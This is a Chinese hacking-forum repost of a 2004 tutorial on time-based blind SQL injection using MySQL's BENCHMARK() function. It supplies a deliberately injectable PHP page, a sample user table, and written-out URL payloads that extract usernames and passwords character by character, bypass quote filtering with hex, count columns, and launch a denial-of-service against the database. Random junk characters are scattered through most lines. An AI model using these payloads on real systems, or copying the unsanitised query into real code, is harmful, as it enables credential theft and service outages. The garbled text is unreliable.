找回密码
 立即注册
查看: 2980|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 # `; |6 c1 E5 e; O1 R
本文作者:SuperHei1 @. P, B+ y) c
文章性质:原创( G% Q! q1 n; a
发布日期:2005-01-02
2 X2 C/ H% \; O' X! D3 ]完成日期:2004-07-09 7 i% T( A- L6 w9 S
第一部
; X6 l" a! l; |4 W
4 k$ X& i2 P- G+ f) b利用时间推延进行注射---BENCHMARK函数在注射中的利用
. N' K$ O$ ~" u; W, p
( @4 J6 q6 {- m% ]( I2 O: |一.前言/思路
9 U. |* K8 B% h' d! P3 [# Y7 y. d
3 R2 u) w, d+ ]0 ^7 J' l& O% L  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
9 g6 S9 U4 [, M1 g0 O# X1 @1 |" D2 |# j, s- E. T3 m
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
5 A9 J; f2 p( W' p- d) E7 S9 j3 H7 w+ n; ?5 U( o; y
二.关于BENCHMARK函数  u. \! w4 q" l% I" C8 x- [4 G

2 ]+ f' a  [# z7 I( g" ^- F8 o* i  在MySQL参考手册里可以看到如下描叙: % ]! X# e6 |1 F3 K0 G; V
' l6 E& }7 {5 M5 o
& @4 N6 ~, n: i( n9 ?
--------------------------------------------------------------------------------
: l" p- W7 K0 X( i
" Y0 M! g/ T' M9 [BENCHMARK(count,expr)
0 P6 W- Y" l- T" y3 WBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 8 g5 u+ ^- ?+ v# b* \2 o
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 9 k( y* T0 S' C3 R9 a$ L2 |
+----------------------------------------------+ * M/ b8 J1 {9 g5 I5 Z
| BENCHMARK(1000000,encode("hello","goodbye")) | 5 u( X3 Z7 T9 P5 k* @) C/ H, C/ U( Q
+----------------------------------------------+ ; r' }& q9 |+ ~$ N
| 0 |
8 M+ X/ a1 G. B8 Q" J+----------------------------------------------+ 6 T# m! s. }3 G! R" n; O/ Z7 L
1 row in set (4.74 sec)
/ b0 d0 w) _9 e" J* [  z, l' r, {( k% I) Q3 P
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。* M( @2 }, @% d
% q0 D* S. H/ y! ]- n( a) p& Y

: D- V6 U& ^$ k( ~/ g! z! Y--------------------------------------------------------------------------------
. ?5 @, t, b5 H5 Z1 k- I- C8 V- |% {5 ]3 A5 J* n
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 9 l  @9 h% k" K+ j5 Y' B2 l

+ Y. H, ?8 m  K; Kmysql> select md5( 'test' );
1 x* I- T6 n$ c3 ]. T! U+----------------------------------+
1 T( z4 N3 H, `" t| md5( 'test' ) |
3 c: i) Y) \1 s8 e! p+----------------------------------+
+ X+ b' u, z: S- o  b9 c# `4 q0 p| 098f6bcd4621d373cade4e832627b4f6 |
, h: Y8 t% u2 Y: I5 H2 Z% r+----------------------------------+ 4 O6 B' V9 e+ }% N
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
9 \# f. k& k9 ^( _/ {( S! Z$ V: T
mysql> select benchmark( 500000, md5( 'test' ) );
: r: u5 q4 Q/ n& ~9 d+------------------------------------+
7 Y7 e2 b, S3 Y+ B7 q; w, k! f$ z/ || benchmark( 500000, md5( 'test' ) ) | - G* o0 E5 I# a# d6 k
+------------------------------------+ . f5 u/ l' v, b: b. T4 ^
| 0 | ( X8 Q/ ~% L" ~9 i8 u( |4 C2 Y9 N/ s
+------------------------------------+
( h% b2 {' P' z4 b: T% a1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
% E0 J9 r9 n& m' g& D 1 t4 _' v! o9 t6 s4 G; G' i# M' l$ U

% X; h1 Z6 G/ O  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
. o: z- |$ P, P3 Z- @" M! C
( @$ q- y# ^7 b. z* \1 u4 v1 D+ A三.具体例子
/ a9 C) m7 t2 w0 g2 M8 l6 p3 ?) D6 H9 i8 U& ^0 d
  首先我们看个简单的php代码:0 I+ H( ~# t# h+ U6 X) {
4 l! X; t4 ]# R% S+ \, i/ t
< ?php ' Q# G& j" L& _* `5 N
$servername = "localhost"; 2 D0 f; C9 r8 F: L# M1 M0 C
$dbusername = "root";
2 h2 g2 t; a4 k) \$dbpassword = ""; ! c( M' F/ R2 t( Q% P) v& d4 \8 ?
$dbname = "injection"; 1 `' u. i) R. X! f
3 G$ ]3 B; R3 s0 r+ u0 B
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
& L8 t2 |. L+ I1 [2 p1 d
$ n8 u/ d7 x% H; A$sql = "SELECT * FROM article WHERE articleid=$id"; + ?4 `; j1 N# ~% ~: O% T1 V
$result = mysql_db_query($dbname,$sql);
5 {+ l; {" h# F  n8 {$row = mysql_fetch_array($result); 1 [3 A4 C; n- k% j, e# j3 H

" p  _" F; L1 V! B; X# qif (!$row) 5 {9 Y! `8 |3 Q0 O! N* \9 K
{ $ _0 ~- J# T. O$ p) g9 T! R1 b( K. p
exit; 7 a1 q" P5 ^# z- B. T0 |/ y5 [
}
9 ~) p: z9 J- _6 t& G?>6 e& }# q8 D( L/ B) x) M8 s
* A  z% ]. g+ q" R% @8 G. o1 f1 ^, K/ T$ B

% N% L2 [: h- Z4 }  数据库injection结构和内容如下:
4 p" s0 s9 d3 I  W( p/ @
. ~! q" t1 {/ T0 _- o1 O# 数据库 : `injection`
4 ?: R2 ~; A1 @' e; W: ?5 z# + ?) m: B0 L1 p+ O) K: K7 p

5 ?4 }3 V7 R/ C: P  k: F  A2 w# --------------------------------------------------------
& I- H7 v" X$ e# h2 c" H. }' \% D" _2 t+ D5 {3 o$ {$ Q% v7 c' K
# $ x5 j; Y5 q1 Y
# 表的结构 `article` ) i% |3 C) ?+ }2 p- a3 Z" M# C9 Y
#
' \6 B' C$ U# O  E0 l6 N% P
) O0 X; |" r  J" b5 F+ C8 ?5 y* {CREATE TABLE `article` ( ; j( \5 t4 e5 ?9 e- Y. n
`articleid` int(11) NOT NULL auto_increment,
7 k  ?( t9 K4 {, L`title` varchar(100) NOT NULL default '',
" O4 c: P0 [/ K`content` text NOT NULL, 9 L) u5 i* i, t5 x' o
PRIMARY KEY (`articleid`) ( P4 n1 Z' d& X0 a
) TYPE=MyISAM AUTO_INCREMENT=3 ; ! p7 d  K' \4 k2 @: I

  S) n* {6 i; c$ c% G: c2 t#
2 P5 g( a2 a2 V5 ?# 导出表中的数据 `article` 0 X) a: c( R! I& M- S6 j1 }
# ' x( M9 h5 L+ e
4 Q* @! F& _  n' ~
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); . V4 H7 B% J. h* N1 [
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
( ~4 ?% a, }8 ^- K
, o# o5 e" @5 ]3 H# --------------------------------------------------------
2 \) X" A6 `! v6 r8 {$ |+ D. t1 F; z$ o3 h% q
#
, @  W1 y& y% Y  N2 f; `2 o5 y3 D# 表的结构 `user` # ~2 H# Z4 H* v5 i2 T+ k0 p# M( y
#
/ |8 B$ @! X& N% L  y- g2 j$ y4 ^
CREATE TABLE `user` ( $ _; k1 S# G: d# N) X$ S& q
`userid` int(11) NOT NULL auto_increment, , g8 n# J2 p" }$ r9 m. F& ^
`username` varchar(20) NOT NULL default '', & n$ m) A9 r: |) E7 H
`password` varchar(20) NOT NULL default '', 2 ]9 B9 }9 y+ B7 U9 M$ q# Q9 C
PRIMARY KEY (`userid`)
2 l) `. s0 ]5 T& g6 v) TYPE=MyISAM AUTO_INCREMENT=3 ;
" J  J7 N( l' X& {8 r) ]7 s% _; I
  J6 _+ }) P8 E9 a$ h7 r; j#
' X4 Q2 D7 w) i0 z# 导出表中的数据 `user` ; L1 F* Z/ R, _
#
- \1 y0 ], \) l' N8 G3 M
- e) V- C- m% ]$ AINSERT INTO `user` VALUES (1, 'angel', 'mypass'); ! h! O+ I# y1 ~
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
5 Y( `4 `3 `5 B6 p8 S8 e$ h# h$ N
& H3 Q+ y$ w. \7 H3 \# F2 V9 [
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
( I6 {4 L  j! u5 G; D) a  u# _% C8 f  M4 G
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*  [& _+ j+ c  E! T- z
8 d8 U" t( x  o8 Y4 h4 {

6 `) P2 I5 N/ N- O) B+ |4 Q  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:  A# H# a, C7 ]7 l, N# B; i& n
# s2 I+ X$ F) @/ {9 s) Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/** n2 R% e4 f& o

% J! O6 M+ Z! t; ?% J* i% f( A6 ?0 Q$ y. K
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
6 ?. z0 m) `- c+ P7 L' G# n: Y  V3 H1 e( N# ^
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
1 M1 J2 D/ W" a+ `  z( Q! _* t
" Q. j  I2 s, A' u8 K; M第二部# O  L. ^: L, ]  F4 K. t

- ~8 H( G$ n% N* ^# _& Z利用BENCHMARK函数进行ddos攻击 1 T3 s6 [( _3 l- s( s
. ?  N4 w4 Q( J- E# Z
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
  ?! \4 R7 m- Q' V" A( G
, p! y+ k" K# h) f0 ]; ahttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
4 t7 L8 n! l. m  {6 U6 S( @
/ I2 c9 u& B' R  I0 x2 @& E
0 l$ E9 X; s7 J' R# T小结
/ l% j/ t/ ^" D$ p7 L6 J
" J- S, w: \; J  I& `  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。, p% A- i& G2 y$ p4 g$ {6 W. p

6 h( P; ?! {6 Q# O+ i7 N$ M# o5 C  # y4 b: `, U1 e2 Z& X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表